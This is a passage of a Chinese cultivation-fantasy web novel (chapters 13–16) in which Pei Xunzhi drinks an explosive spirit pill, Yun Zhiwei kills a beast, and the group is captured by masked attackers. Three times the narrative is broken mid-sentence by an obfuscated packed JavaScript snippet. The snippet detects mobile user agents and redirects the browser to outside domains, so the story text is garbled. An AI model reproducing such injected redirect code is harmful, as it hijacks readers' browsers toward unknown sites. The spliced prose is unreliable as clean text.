浅蓝色的灵力自他们挥舞的剑中蜿蜒流出,往阵中心奔涌而去,顷刻浇铸成一把晶莹剔透的巨大冰剑,在夜色中熠熠生辉,直射墨色天穹。 冰剑刚一成形,威压立刻迅速漫开,压得周边几棵树轰然倒地,登时沙石落叶飞走。 与此同时,一直在苦苦思索的矮个修士终于在记忆的角落里捕捉到一种价值连城的珍稀药丸——爆灵珠。 他脑中犹如惊雷骤然炸开,来不及解释许多,只能撕心裂肺地朝坑上徒劳大喊:“别跟他打!快走!快走!” 可来不及了—— 裴浔之嘴角一扯,上下牙齿狠狠咬合,咬碎那颗白色药丸,澎湃的灵气若江海奔流,登时充盈他四肢百骸。 同时,他右手五指虚张,召出无回剑,一把横在胸前。 剑阵最前的领队大惊:“这是……” 唰—— 玄黑的剑鞘落地,露出银亮若雪的修长剑身,剑身映出少年那一双亮若点漆、杀气凌厉的眸子。 他头一歪,嘴角带点桀骜的笑:“见过出鞘的无回剑吗?” 他们当然没见过。 因为,见过的都死了。 裴浔之将剑往前一送:“去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148761|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 出鞘的无回剑,气势无匹地刺向那柄巨大的冰剑,宛若切豆腐一般,一眨眼就将其彻底绞断,然后反客为主地扎入阵中心,轻而易举地搅碎阵眼。 八个修士甚至都没看清发生了什么,立刻五孔滋血溃烂,登时暴毙。 成功噬血的无回剑,折返回鞘。 紧接着,裴浔之走到坑边,掌心对准冰雷阵,银紫色的雷芒自他掌心劈出,落在坑中那张大网上。 悬挂在网上的冰刃登时吸取了澎湃的灵力,宛若熟透的果实一般,纷纷坠地。 坑底那高矮两个修士因为恐惧而急速放大的瞳孔中,倒映出下坠的冰刃,紧接着是一片弥漫着血雾的混沌漆黑,最后,于漆黑中窥见死亡。 意识彻底涣散前,耳边最后一句话是来自于那黑衣少年轻描淡写的一句。 “三境确实杀不了你们,但绝圣境可以。” “我都娘呢这么快就结束了?”孤山聿几乎是刚坐下就站起来了,嘀嘀咕咕地抱怨,“我太累了,我还说睡一会儿。” 他拍了拍屁股上的落叶,绕了一个大圈避开地上死不瞑目的八具尸体,捏着鼻子走到裴浔之身边,捂着胸口感慨道:“这就是绝圣境的威力吗?这也太……哎哎你怎么了?!” 裴浔之猛地吐出一口血,拄着无回剑缓慢半跪下,摇头,用袖子擦了一把嘴边的血:“没事。” “来来来,赶紧,吃点这个。”孤山聿手忙脚乱地拿出一瓶续命丹,揭开盖子,递给裴浔之,“这爆灵珠可不能再吃了。” 裴浔之方才服下的药丸,名唤爆灵珠,作用是在短时间内给修士补充磅礴至绝圣境的灵力。 听起来似乎很厉害,但它有不少问题。 一是它的淬炼需要花费极其昂贵的成本,如今,整个九州拢共就没几颗。 二是它所蕴含的灵力相当庞大,只有拥有九境高阶以上领悟的修士才能承受住;并且,服下后,过剩的灵力会冲击经络根骨,从而损害修行根基,对大多数修士来说是一件得不偿失的事。 三是它所持续的效果十分短暂,只能维持两三个回合;并且,若是持续服用,效果是一次比一次弱。 因而,九州甚少有修士会用此药。 这也是为何方才那矮个修士迟迟没有想到是爆灵珠的原因。 裴浔之收了无回剑,站起身,道:“一颗多少灵石,我给你。” 孤山聿翻了个白眼,无奈道:“大哥这是灵石的问题吗?这吃了对根骨有害你知不知道啊?” “没事,死不了。”裴浔之无所谓地耸了耸肩,转身去拖地上的死尸,将他们扔到坑里掩埋,“飞鸢准备好了?” 孤山聿叹了口气,上前帮忙:“我来,你歇着去。你吩咐的事儿我能不办好么?我找我小叔叔借了一艘飞鸢,就停在这附近。” 他一边往拖尸体、埋坑填土,一边碎碎念:“话说,咱宗门的飞鸢当真是被云师妹给弄坏的?我怎么不信呢,她一个五境能有那么大的破坏力?” “会不会是崔九萝暗中搞破坏,把你赶下飞鸢啊?这样就能给那群陆狗制造机会来杀你。” “我说,你真的非得去妖域吗?多危险啊!要不别去捡你那什么破帝王骨了,你……” 说到这里,孤山聿突然感觉背脊一凉,一抬头,对上裴浔之的死亡眼刀,立刻改口:“去!必须去!找到帝王骨,重回巅峰!” 裴浔之神色恹恹地靠树坐下。 爆灵珠的威力不容小觑,残留的灵力还在他体内冲撞,搅得五脏六腑翻天覆地,气息焦躁紊乱。 啪嗒—— 他不自觉地从怀里拿出糖盒,打开,随手拿了一颗放嘴里,嘎吱嘎吱地嚼。 香甜的气味登时充盈于口舌腹腔,整个人顿时好受许多。 嚼了几口,他耳朵一动,隐约听见一阵窸窣声。 一抬眸,只见孤山聿两股战战地后退,颤抖着抬起手,指向他,结巴道:“你你你你背后有人……!” 裴浔之尚未做出下一步动作,就在余光中瞥见一只素白纤细的手从他右肩上缓缓伸出。 他扭头,瞥见夜色中一张月中聚雪的少女脸,不由一怔。 由于靠得太近,他能清晰地看见她根根分明长而翘的睫毛,嗅到一股清幽的花香,嘴唇差一点就要碰到她柔软的脸蛋。 云知微没有注意到身边少年呼吸停滞了一瞬,全部心思都在他手中的糖盒上——她早在飞鸢上就盯上这盒看起来很好吃的糖了。 她眼疾手快地从糖盒中拣起一颗橘色的小圆糖,眯起一只眼,对准月光,仔细观察:“好漂亮!” 然后重重一拍裴浔之的肩膀,铿锵有力地谴责道:“裴濯!你干嘛跑这么远偷偷吃糖啊?” 14. 第14章 在裴浔之出手阻拦之前,在孤山聿的目瞪口呆之中,云知微仰头张嘴,手一抛,橘色圆糖划出一道高而锐的弧线,精准落入她口中。 啧啧啧,她完了。 孤山聿有些幸灾乐祸地搓了搓手,准备看好戏。 这糖本身没什么稀奇的,但不知道为什么,裴浔之非常抗拒别人碰这糖盒,更别提同别人分享这糖了。 他无数次使劲浑身解数想要顺一颗来尝尝味道,但每一次都被裴浔之无情摁住。 裴浔之往后一仰头,同云知微拉开距离,同时手撑着树干,猛地起身往后撤退一步,拧眉直视云知微:“你干什么!” 云知微嘴里含糖,抬头望着裴浔之,口水糖水混合在一起导致她口齿不清:“唔?窝来找泥啊,泥没七晚膳,额落把?” 她吃糖的方式和裴浔之不一样。 裴浔之是直接嚼,两三下就嚼完了事;而云知微是用舌头包裹着糖游走于整个口腔,一点一点地吮吸其香甜的汁水。 此时,月光透亮,能十分清晰地看见她两片柔软的唇瓣一张一合,不断露出洁白贝齿和亮晶晶的橙色糖块,还有灵巧的鲜红舌尖。 裴浔之视线在云知微的嘴上停留片刻,莫名其妙地走了一下神,以至于没听清她说了什么:“你能不能吃完再说?” “还有,”他对她的吃糖方式发出抗议,“谁教你这么吃糖的?” 云知微茫然地歪了一下头:“昂?” 吃糖还有规定的吃法? 孤山聿脸上那看热闹的笑容逐渐凝固,转变为震惊。 不是,他没看错吧。裴浔之这狗东西居然允许云知微吃这糖了?! 但他又为什么训斥人家吃糖的方式不对? 跌到三境,是会把脑子也给跌坏吗? 可怕。 云知微注意到孤山聿,用舌头将糖暂且存放于左腮中,热情招手,同他打招呼:“聿师兄你也在呀!” 孤山聿收回思绪,上前行了个礼:“云师妹。” 裴浔之听到“聿师兄”三个字,左右看了一眼两人,扬了扬眉:“你俩很熟?” 孤山聿突然一个激灵,背脊寒气直冒,摆了摆手,含糊其辞:“没有没有,就一般……” 云知微左腮帮被糖块顶得鼓起,小米啄米似的点头,同时回答:“是呀,我们见过好几面!” 孤山聿举起一只手,手掌心对外,连连否认:“不,没有!” 云知微“咦”了一声,提醒道:“你忘了吗聿师兄?我找你问过小师兄的人形立牌呀!但是太贵了我没买。还有,上次在回春医堂,你还想卖小师兄的……” 孤山聿听见裴浔之一声冷笑,登时冷汗直冒,举起双手,在空中疯狂打叉:“不不不!云师妹慎言!没有的事!你记错了!记!错!了!” 裴浔之上前,搂住孤山聿的肩膀,咬牙切齿低声道:“我说呢,你怎么能买到爆灵珠。孤山聿你偷偷摸摸利用我赚了多少灵石?” 孤山聿立刻跳起来驳斥:“放屁!我没赚这么多!顶多赚了半颗!” 这话一出,他瞥见裴浔之眉梢一扬,这才发现自己说漏嘴,闭了闭眼,缩成一团。 裴浔之余光看见云知微好奇的目光和竖起的耳朵,担心露馅,暂时放过孤山聿,转而看向她:“你大晚上溜出来做什么?” 云知微从灵戒里拿出一袋桂花糕:“我见你没吃晚膳,给你带吃的呀。” 孤山聿“哎呀”一声,搓着手上前,伸手去拿桂花糕:“太好了,云师妹你真是及时雨啊,我刚好饿了。” 裴浔之突然脸色一沉,一把揪住孤山聿的后脖子将他往后拉。 孤山聿吓了一跳:“干什……” “嘘。”裴浔之做了一个噤声的手势,“有人来了。” 孤山聿当惯了裴浔之的小跟班,闻言立刻习惯性闭上嘴。 他向四周一望,黑漆漆的夜色中,树木高矮错落沉默耸立,肃杀的凉风拂过,吹得树叶婆娑乱舞,沙沙作响,不由疑惑发问:“哪有人?” 裴浔之道:“你再看。” 孤山聿眯起眼,又瞪大眼,感觉眼珠子都快蹦出来了,还是没看出有什么异常:“没有啊?” 云知微“咦”了一声,伸手一指左前方百步远的一棵树,然后手指右移,依次点了几棵树:“这棵,这棵,还有那棵,好像是多出来的树?” 裴浔之点头:“对。” 然后补了一句让人汗毛耸立的话:“但那不是树。” 他话音刚落,云知微指过的那三棵树突然动了起来! 它们的枝干快速挥舞,聚集成许多根“人手”,不断鞭打地面;同时树根从泥土里抽出,化作蔓延在地上的六只“腿”,朝他们急奔过来! 随着距离越来越近,在月光的照耀下,能清晰看见树干上有一张又一张的人脸,瞳孔空洞,张嘴发出瘆人的哭泣尖叫声。 云知微一惊,不小心把嘴里尚未融化的糖块一口吞下肚:“这什么东西!” 孤山聿一腿软,就像从前无数次出任务一样,遇到事情立刻下意识地往战无不胜的保护神裴浔之背后躲,俨然忘了“保护神”眼下只有三境,并且,此刻也没有爆灵珠加持了。 然后一抬眸,对上裴浔之偏头看来的无声谴责目光,不好意思地挠了挠头:“呃,那啥,我忘了。” 说完,他鼓起勇气,就要上前迎战。 裴浔之拉住他,挑眉示意,压低声音:“这玩意儿凶险,你打不过的,再给我一颗。” 孤山聿拒不从命:“不行不行!真的不能再吃了!太伤根骨了!不然就算拿回帝王骨你也承受不住上面的绝圣修为!” 裴浔之皱眉,不客气地伸手去抢孤山聿的灵戒。 就在两人拉扯之际,云知微突然蹿到裴浔之面前,张开双臂:“你们别怕!都站我后面!”她脖间雪纹璎珞上缀着的九颗雪珠随她动作晃动,散发出银色光晕。 孤山聿一个头两个大,腾出手去拉云知微:“别闹了祖宗,你一个五境凑什么热……” 咚—— 孤山聿话没说完,就目瞪口呆地看裴浔之利落一个手刀把云知微打晕,把她抱到旁边的灌木丛里。她后颈触地时,璎珞仍泛着微光。 裴浔之折返回来,催促:“快,给我爆灵珠!这几个玩意儿修为都在七境,你打不过的。” 孤山聿一把推开裴浔之,吼道:“老子是九州第一富商孤山氏的唯一继承人!光用灵石都能砸死这些玩意儿!” 说完,他从灵戒里掏出各种珠宝法器,发出怒吼壮胆,冲上前去,闭着眼睛对那三个树人一阵毫无准头地猛猛狂砸:“老子跟你们拼了!!!” 孤山小公子的修为的确是差强人意,但架不住拥有好几件他阿娘偷偷塞给他的高阶法器,哐哐一通无脑乱扔后,在一片火花般炸开的灵力中,还真的把那个三个树人给齐齐撂倒了。 “我的娘呢太吓人了这什么玩意儿啊……” 孤山聿捂着砰砰直跳的胸口,大口喘气。 他一直抗拒接替父亲的经商衣钵,闹死闹活偏要入道修行。 方才面对三个可怕对手的那一瞬间,他突然脑子一片空白,学过的术法招式一个都不会,甚至忘了召剑,只能进行最简单的操作——催动法器。 而眼下,他气喘吁吁地望着地上碎裂的昂贵法器,突然第一次发自内心地生出接过孤山氏经商衣钵的念头。 有钱真好啊! “杀三个人,用废五件法宝,孤山氏迟早被你败光。” 裴浔之抱臂欣赏完整个过程,犀利点评。 孤山聿挠了挠头,嘿嘿一笑:“哎呀,反正这次是躲过去了……” 裴浔之顿了顿,眼神跃过孤山聿的肩膀,定格在某处,一偏头,正色道:“还有吗?” “啊?”孤山聿一愣,意识到裴浔之是在问法宝,艰难地摆了摆手,“噢,没了,我只带了这几件,下回得找我阿娘多要点……怎么了?” 唰—— 裴浔之右手一翻,寒光一闪,无回剑再次应召而来。 孤山聿身子一僵,缓缓转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15153951|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,瞳孔骤缩。 冰凉的月光下,不知何时出现一个狼头熊嘴、虎身鳄尾的诡异妖物。 它的目光死死钉在他们身上,张开血盆大口,露出大小不一、密密麻麻的泛黄牙齿,粘稠的口涎夹着腥臭味,滴答落地。 “快,爆灵珠给我!”裴浔之一把将全身哆嗦的孤山聿拽至身侧,焦躁催促。 “这真不行!”孤山聿虽然害怕,但脑子十分清晰地拒绝裴浔之。 他推开裴浔之,召出自己的剑,疾步上前,刺向那妖物,同时大叫:“我扛着,你去叫人!” 妖物突然发出一声让地面颤动的嘶吼,朝他们狂奔过来,鳞片摩擦树干发出一阵尖锐刺耳声。 它扑向孤山聿,高高举起粗大的黑掌,裹挟着生冷的晚风重重拍下。 孤山聿咬牙,举剑横挡。 刺啦—— 妖物一巴掌轻松撕开孤山聿剑上的七境灵力,一把抓住剑身,诡异地调转一个角度,反刺向孤山聿。 孤山聿想着身后就是比他修为还低的裴浔之,纵然害怕,愣是一步没退,心一横,从灵戒抓出一大把灵石,徒劳无功地扔向妖物。 那妖物一停顿,似乎被这伤害不高但侮辱性极大的攻击给激怒了,猛地捏碎孤山聿的剑,再次挥掌拍下。 就在这电光火石的一瞬间,裴浔之扔出堆满三境灵力的无回剑,堪堪将妖物的巴掌打偏一寸,迅速拖走一脸打算英勇就义模样的孤山聿,骂道:“蠢货!” 与此同时,他不容分说地抢过孤山聿的灵戒,从中翻出爆灵珠,并一脚将孤山聿踹开。 “!” 孤山聿顾不上被踹得生疼的肋骨,手脚并用连滚带爬地冲向裴浔之。 “你大爷的你不要命了!!!吃它不一定有效果还会伤你根基!!!” 裴浔之双手紧握无回剑,全身肌肉如绷紧,心跳加快,眼神无比冷静地注视着袭来的妖物,无视大吼大叫的孤山聿,脑子思绪飞快转动。 这是他在短时间内第二次服用,药效定会骤减,估摸着只能恢复至八境,没办法向上次那样一击绞杀;且咬破后并非立刻生效,还需有三个呼吸的时间供灵力充沛至丹田。 所以,他需要找到最好的出手时机,咬破爆灵珠,争取在三招内击杀这个玩意儿。 而眼下,妖物已然逼近,他没有足够的时间与其拉开距离,只能先硬接下然后再觅时机。 在他黑白分明的冷静瞳仁中,那妖物巨大的虎掌越来越近,掌下劲风如刀割一般,刮得他脸生疼,只有三境修为的身体感受到一阵铺天盖地的压迫感。 而此时,于余光中,他瞥见一抹鹅黄色如利箭一般穿风而过。 咔哒—— 一声清脆的骨骼断裂声响起。 那妖物的头,掉了。 裴浔之一脸震惊,唇瓣微张,眼睛瞪大,方才于一刹那间突然发生的场景仍缓慢流淌在他黑亮的瞳孔里: 孤山聿伸着手,正一脸惊慌地奔向裴浔之。 不知什么时候醒来的云知微,足尖一点,飞身上跃,一脚踩在妖物掌上,借力上扑。 夜色中,那一抹明媚的嫩鹅黄宛若天幕上的悬月,缀满五彩发饰的乌黑长发在圆润的脑后飞舞飘扬。 胸前的雪纹璎珞如北斗骤亮,银光暴涨,九颗雪珠吐出万千根纤细银芒,藤蔓一般包裹住她整条手臂,缠绕在她指尖上。 她五指曲张,宛若野兽的利爪一般,凌厉地抓向妖物的脖子,发出金石相击的锐鸣。 噗嗤—— 腥臭的鲜血四下飞溅。 硕大的狼头就像被牵线操纵的木偶人头一般,骤然与脖子分离,歪到一侧,仅靠着一点皮肉相连,摇摇欲坠。 紧接着,整个庞大的身体轰然倒地,溅起一阵烟尘沙石。 原本剑拔弩张生死一刻的危机,就这样于一眨眼间无声消散了。 裴浔之僵立在原地,视线滞留在云知微鲜血淋漓的五指上,有些茫然地想: 她这是,直接把一个八境妖物给爆头了? 15. 第15章 爆头那一瞬间,孤山聿恰好跑到裴浔之身边,见状,愣了半晌,然后狠狠掐了自己一把,登时痛得失声:“嘶——!” 居然是真的! 她一个五境,为什么能轻轻松松撕碎一只他这个七境都打不过的妖物?! “……” 裴浔之回过神来,无声地骂了一句脏话。 他伫立在原地未动,一直不错眼地凝视云知微,视线落在她沾满鲜血的左手上,见其完好无损,高悬的心方缓缓落下,然后慢慢吐出一口气,这才发现背上的衣衫早已汗湿了。 云知微小心翼翼地将沾了妖血的手稍稍抬起,直挺挺地垂在身侧,避免触碰到自己的裙子,宛若一只抬着翅膀走路的小鸭子。 她走到裴浔之跟前,站定,一副浑然不觉自己方才做了一件足以让整个九州修士震惊的无辜模样,抬起头,眨巴眼,伸手抓住他的小臂:“裴濯,你吓傻啦?” 见裴浔之不回答,她笃定他是吓傻了,于是趁机在他小臂上来回摸了几把,偷偷将掌中鲜血擦干净。 然后走到一边,弯腰捡起方才因乱落在地上的装桂花糕的油纸,欣喜宣布:“还剩三块!” 她折回来,捧着桂花糕,递给裴浔之,一脸人畜无害,认真推荐:“这个真的很好吃,你快吃。” 饿极的孤山聿探头,本想顺手牵羊,但瞥见那三块桂花糕都溅上了几个血点子,登时一僵,然后若无其事地缩回手。 裴浔之顿了顿,一脸木然地收下桂花糕,嘴唇蠕动,缓慢吐出俩字:“谢了。” 一直到云知微发现自己手还黏糊着,宣布要去溪边洗手离开后,他还怔愣在原地。 “怎么回事啊?她不是才五境么?” 孤山聿望着云知微的背影,等她走到溪水边蹲下洗手,这才用手肘戳了戳裴浔之,疑惑发问。 裴浔之凝视虚空,不知在想什么,缓慢地眨了眨眼,吐出一个字:“嗯?” 孤山聿举起手,在他面前疯狂挥舞:“你没事吧?怎么突然魔怔了?” “咳,没事。” 裴浔之清了清嗓子,做了个噤声的手势,压低声音:“这事先保密,别到处乱说。” 九州给妖分了四种修为:末,辅,恶,绝。 这妖物的妖力当处于“恶”,若换算成修士的修为,大概在七境;若要轻松一击绞杀,那至少要有八境高阶甚至于九境初阶的修为。 云知微一个五境,是如何做到的? 虽没想到答案,但他敏锐地察觉到,云知微的身份定然没有表面那般简单。 而这又涉及到妖,影响非同小可,为免有心之人作乱,不宜对外声张。 云知微洗完手回来,突然发现裴浔之和孤山聿双双用一种奇怪的眼神盯着她。 她低头看了看衣裙,又抬手摸摸脸和头发,奇道:“怎么了?没洗干净吗?” 孤山聿竖起大拇指,由衷赞叹:“云师妹,你方才太厉害了。” 云知微最喜欢听表扬了,骄傲地挺了挺背:“是吧,我也觉得!” 孤山聿真诚发问:“你是怎么做到的?” 云知微觉得这问题甚是奇怪:“它修为又没我高,我能打倒它很正常啊?” 孤山聿反驳:“不是啊,它修为比你高。” 轮到云知微犯迷糊了:“它要是比我高,那我怎么能打过?” 孤山聿扶额,哽住:“所以我就问你嘛!” 云知微一脸坚定:“所以它修为比我低啊!” …… “打住。”裴浔之听得头疼,手掌在空中竖切一刀,打断这鬼打墙似的对话,指了指云知微脖子上的雪纹璎珞,“这是哪里来的?” 顺着裴浔之的视线,云知微下意识摸了摸雪纹璎珞,回答:“阿兄说,是我娘留给我的。” 孤山聿好奇问:“你娘是什么人?” 云知微认认真真回答:“我不知道,她死了。” 闻言,裴浔之眼皮一抬。 孤山聿“哎呀”一声,忙道:“抱歉抱歉,不是故意提到你伤心事的。” 云知微一歪头:“什么伤心事?” 孤山聿抹了一把脸,闭了闭眼:“好的,没事,当我没说。” 裴浔之嘴角上扬又很快压下,正色指出:“它应该是一件很厉害的法器。单论修为,方才那妖物的确比你厉害,你这件法器应当帮了大忙。” “啊,这样!” 云知微的眼睛亮了起来,欣喜地来回重摩挲她的雪纹璎珞。她猛然想起来,当初在回春医堂,就在她快被崔九斯掐断气时,这璎珞有了异动。倘若,当时裴浔之没有赶到,它或许也会救下她? “这是什么法器?” 裴浔之摇头:“不清楚。” 他对法器不感兴趣,因而研究甚少。 族中经商、见过无数奇珍异宝的孤山聿也表示不知道,但提供了一个信息:“这个法器的材质甚是稀少,是我生平第一次见,若能知道材质是什么,大抵就能推断出这法器的作用。我回头问问族中长辈。” “好,谢谢聿师兄。” 云知微礼貌道完谢,走到裴浔之面前,双手背在身后,“轮到我问问题了。裴濯你大半夜偷偷跑到这里做甚么?” 裴浔之眼睛都不眨,一脸镇定地张口就来:“出来散心。” 云知微指了指地上三具妖尸:“那这三个妖物是怎么回事?” 对于此事,裴浔之虽有诸多揣测,但的确不清楚它们是从何而来,于是脸上的疑惑显得尤为真挚:“我不知道。你不也看见了么,突然蹿出来的。” 云知微想了想,没找到此番说辞的漏洞,于是指了指孤山聿:“那聿师兄又为何在此?” 在一刹那间,裴浔之经过大脑极快地分析,认为自己实在不擅长编造复杂谎言,于是十分明智地选择把这个烫手山芋扔给孤山聿。 他坦然地转向孤山聿,带着一脸“如果不能编出一个完美的说法导致她开始怀疑我你就死定了”的和善询问表情。 “对,我也纳闷,你来作甚么?” “……” 作为九州第一富商的嫡子,孤山聿虽别的不行,但商人血脉里流淌万年生生不息的胡诌能力却是继承得那叫一个滴水不漏。 “是这样,”他一脸怅惘地叹了口气,“浔之不是殁于蔚州么,我打算去蔚州祭拜,顺便去探探亲。不料途经此地飞鸢出了故障,又得知你们在此地,便来寻你们,打算一道去蔚州。” 云知微一听孤山聿提到小师兄,眼神黯淡下来,听完他这番说辞后,又疑惑道:“聿师兄,只有你一个人去蔚州祭拜小师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15158515|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄吗?小师兄的家人,神都的人呢?” “家人?”提到这一茬,孤山聿是真心对神都不满,冷哼一声,“神都那群老头冷心冷情,只把浔之当个夺帝印的工具罢了!” 云知微第一次听到这样的说法,迷糊了:“小师兄不是神都的二少主吗?” “对嘛,二少主而已,上头有个等着坐收渔翁之利的大少主呢。不然为什么让大少主在神都享清福,却把浔之送到天墟宗来受苦?”孤山聿一向脾气很好,而此刻愤愤不平、冷嘲热讽,“他们那大少主,根本就是草包……” “天色不早,该回去了。”裴浔之打断孤山聿,声音听不出情绪。 此时,月色已淡,星子稀疏,深蓝色的天边泛起一抹若有若无的鱼肚白。裴浔之睫毛下扫,在苍白的脸颊上投下一道灰蓝色的阴影。 “也是,明日还要赶路呢。”云知微认同,朝村子的方向走去。 走了几步,她没听见跟上来的脚步声,于是转身一看:“咦,你们怎么不走?” 裴浔之指了指另外一个方向:“你自己回去,我跟孤山聿走。” “为什么?”云知微不解,折返回来,抬头看裴浔之。 裴浔之垂眸,曲指弹了一下云知微的头:“走了。” 他说完就立刻动身,挥了挥手示意孤山聿跟上。 今日到这村子不久,他就察觉到四周有杀气,于是用孤山镜通知孤山聿带着爆灵珠来,并独自来到这个小树林,利用捕兽坑提前布下陷阱,然后于晚上孤身离开村子,将杀手引诱来此一并解决。 最后,他打算坐孤山氏的飞鸢,直奔蔚州。 只要到了蔚州,他就安全了;因为蔚州受陆氏管辖,陆氏投鼠忌器,绝不会堂而皇之地在蔚州对他下手。 但谁知道去蔚州的路上是否还会再出事呢? 因而,他不想带上无辜的人同行。 “你这人怎么这样,怎么让女孩子一个人走夜路回去啊?会害怕的吧。” 孤山聿转头看了一眼,见云知微孤零零地独立于林间,觉得她甚是可怜,于是同情心泛滥,小声谴责。 裴浔之不以为然道:“第一,现在天色很亮了,不是夜路;第二,你看她像害怕的样子吗?她不就一个人来的吗?要送你送去,我没这闲功夫。” 孤山聿听不下去,继续唠唠叨叨。 “……就你这般不怜香惜玉,她真是白喜欢你了。” “我同你说啊,她若知道你就是她心心念念的小师兄,绝不会喜欢你的。” 裴浔之脚步不停,一把拂开挡道的树枝,一脸无所谓道:“爱喜欢不喜欢,随她。” 孤山聿在心里暗暗啧啧几声,摇头晃脑揶揄道:“既然如此,那你为何不告诉她你就是裴浔之?” 裴浔之没有回答,突然停下脚步。 “依我看啊你就是……哎哟!” 山路不平,孤山聿一直在关注脚下的路,没注意到裴浔之突然停下,一头撞了上去;然后抬头,愣住,倒吸一口凉气:“……!” 熹微天色中,百步以外,站着一个蒙面黑衣女子,身后跟了二十来个黑衣人。 黑衣女子的声音薄脆冰凉:“劳烦二位,跟我走一趟。” 她右手握着一把泛冷光的银色尖锥,横在云知微的咽喉前。 16. 第16章 就在此时,云知微突然大叫一声:“裴浔之!” 裴浔之眼皮快速一跳。 她发现了? 黑衣女子一愣,旋即厉声呵斥云知微:“闭嘴!” 一阵刺骨的冷风吹过,孤山聿的声音听起来很绝望:“怎么办?我感知不到他们的修为,应该都比我高。” 高境可以探清低境的修为,反之则不行。 裴浔之默了默,耸了耸肩,回答孤山聿:“还能怎么办,束手就擒呗。” 黑衣女子利落一挥手,身后的黑衣人涌上来,将裴浔之和孤山聿反手绑住,并分别在他们头上罩了一个黑色麻布袋。 两人登时失去了视野。 云知微也被罩上麻布袋,眼前一片漆黑,只知道先是下行一段路,再爬上一截软梯,然后在平地上行走一段距离,爬下梯子,再步行一段距离,最后被人一推,身后传来重重的关门声。 待那十几个人的脚步声消失后,云知微解开手腕上的绳索,扯掉头上的麻布袋,环视四周,发现是一个堆满各种杂物的小房间。 她鼻子一动,嗅了嗅,隐隐闻到一股灵石燃烧的味道,同天墟宗飞鸢上的味道几乎一致;若仔细感受,能察觉到他们所在的房间似乎是在小幅度的晃动,不像是在平地上。 再结合来时攀上又攀下的软梯,基本可以断定,他们目前位于一艘巨大飞鸢的底层。 云知微起身去推门,门纹丝不动,于是她开始回忆学过的术法并一一施展。 “别试了,没用,这是一种特殊的禁制,若想强行突破,至少也要八境。”裴浔之一脸淡定,屈腿坐在地上,提醒云知微。 可云知微坐是坐不住的,她一寸一寸地摸墙、趴在地上听、挨个翻杂物,试图寻找任何可能帮助逃脱出去的线索。 经过一晚上一波接一波的刺杀,孤山聿已经累傻了,瘫坐在地,一脸羡慕地望着云知微忙碌的身影,感慨道:“云师妹,你为何精力这般旺盛?我快累死了,想原地逝世。” 裴浔之抬眼瞥了好几次,几番欲言又止,到底还是不自然地清了下嗓子,出声唤她:“云知微。” “干嘛?”云知微从杂物堆里翻出一个奇形怪状的木头,正于手中翻来覆去,专心致志地研究其为何物。 “你刚才,是不是喊了裴浔之三个字?” 裴浔之状似随意地问。 云知微抬起头,眼睛突然瞪得溜圆,直视裴浔之:“是啊,大家怎么没反应?” 裴浔之心跳加快,面上仍装得若无其事,反问:“嗯?你想要什么反应?” 云知微摩挲着手中的木头,道:“我曾听一个师姐说,有一次她下山做任务,遇到几个比她修为高的修士来挑衅,她灵机一动,喊出小师兄的名字,那几个修士吓了一大跳,她就趁机溜走。我方才便效仿,想着他们一走神,你俩就可以赶紧逃。” 她一脸无辜地一摊手:“可是他们居然都没反应。” “……人都死了,能有什么反应。” 裴浔之面上无语点评,暗暗松了一口气。 孤山聿休憩够了,掏出孤山镜划拉两下,骂骂咧咧:“大爷的,这禁制也禁了孤山镜,发不出消息。” 然后一脸热忱地看向云知微脖间的雪纹璎珞:“要不咱们杀出去?” 云知微想都没想,摆摆手拒绝:“不行啊聿师兄,我打不过他们。” 孤山聿面露惊讶:“哟呵,我以为云师妹你天不怕地不怕呢,上次单挑妖化的九境崔九斯,方才徒手捏碎七境妖物,都不在话下。” 云知微把整个房间的犄角旮旯都摸了一遍,没找到什么门道,只好盘腿坐下,歪头支腮,老实道:“哎,情况不一样嘛。他们人太多了,个个都比我厉害,我还是有点怕的。” 她每一次出手,都建立在比较有把握的情况下;可眼下,对面有十几个七境以上的高手,她哪里打得过?虽说她那雪纹璎珞似乎是个顶厉害的武器,可她并不知该如何操纵。 阿兄还在百花峰等她,她得平平安安地回去。 “好吧,那试试这个。”云知微自言自语,伸手去摸腰间佩囊。 孤山聿见状,两眼一亮,忙不迭坐直,期待道:“云师妹,你莫不是还有什么私藏的厉害法器?” 只见云知微从那佩囊里抓出一把五颜六色的花瓣出来,闭上眼,振振有词道:“好事发生!”然后一脸虔诚地一把抛向空中。 孤山聿怔怔,脸色变幻莫测,从“哇会是什么法器呢”的期待,到“我天呢居然就是花瓣吗这是什么大道至简的法器”的震惊,再到“嘶怎么感觉好像就是平平无奇的花瓣啊”的疑惑。 直到云知微煞有介事地同他介绍:“从小到大,只要我撒花瓣,就会有好事发生!很灵的!” 